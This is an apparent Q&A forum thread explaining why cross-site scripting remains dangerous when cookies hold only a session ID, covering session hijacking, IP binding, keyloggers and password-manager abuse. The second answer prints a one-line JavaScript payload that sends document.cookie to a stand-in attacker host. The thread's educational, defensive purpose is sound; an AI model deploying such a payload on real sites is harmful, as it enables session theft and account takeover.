即使Cookie不存储用户凭据，XSS还是危险的吗？

Question

Whenever someone talks about the dangers of xss, they mention that the 'bad guys' can get access to user credentials. But if I only store a session id on the cookie, and authenticate the user based on the session id, are there any other ways xss can be used to access user credentials?

Answer 1

Yes.

XSS means a foreign or malicious script is running on the page. There are a bunch of ways this could be dangerous.

Session Hijacking

Even if the cookie doesn't store user credentials (and it shouldn't). It stores enough information for the server to consider the bearer of the cookie to be a particular user (HTTP is stateless so we use cookies/sessions to remember users).

So if someone steals the session ID they can use it to impersonate you and the server might be none the wiser.

Safeguarding with IP

In your original question you asked about another level of security: verifying the IP address tied to the session. Yes, that cuts down the attack avenue. Yes, IP addresses can be faked. But you're no longer the lowest hanging fruit for attackers. At the same time security and convenience are opposites so your legitimate users might be frustrated that when their IP address changes they are no longer signed in.

Other attacks

Stealing the cookie/session is one easy way to gain access but not the only one.

Since a script is running (supposedly) from the trusted site and from the user's browser. It could to a lot of things:

• loads an invisible iframe for the account edit page and resets the password/email for the user
• load a keylogger, show the user the login page

Answer 2

Unless the Session ID cookie is marked as HTTP Only , the session can still be hijacked using XSS .

eg

new Image().src = 'http://www.example.com/?cookie=' + escape(document.cookie);

will send the Session ID to the attackers domain ( www.example.com ) where they will be able to set their own cookie to the same Session ID and steal the session.

Even without the cookie risk, as the attacker can inject whatever they like into the page, they could alter any page content or install key loggers in the browser session.

Answer 3

I recently went to a talk that described ways to trick a password manager into filling out a password form, provided that the attacker could use XSS to modify pages on the victim site. That's one way an attacker might be able to access user credentials.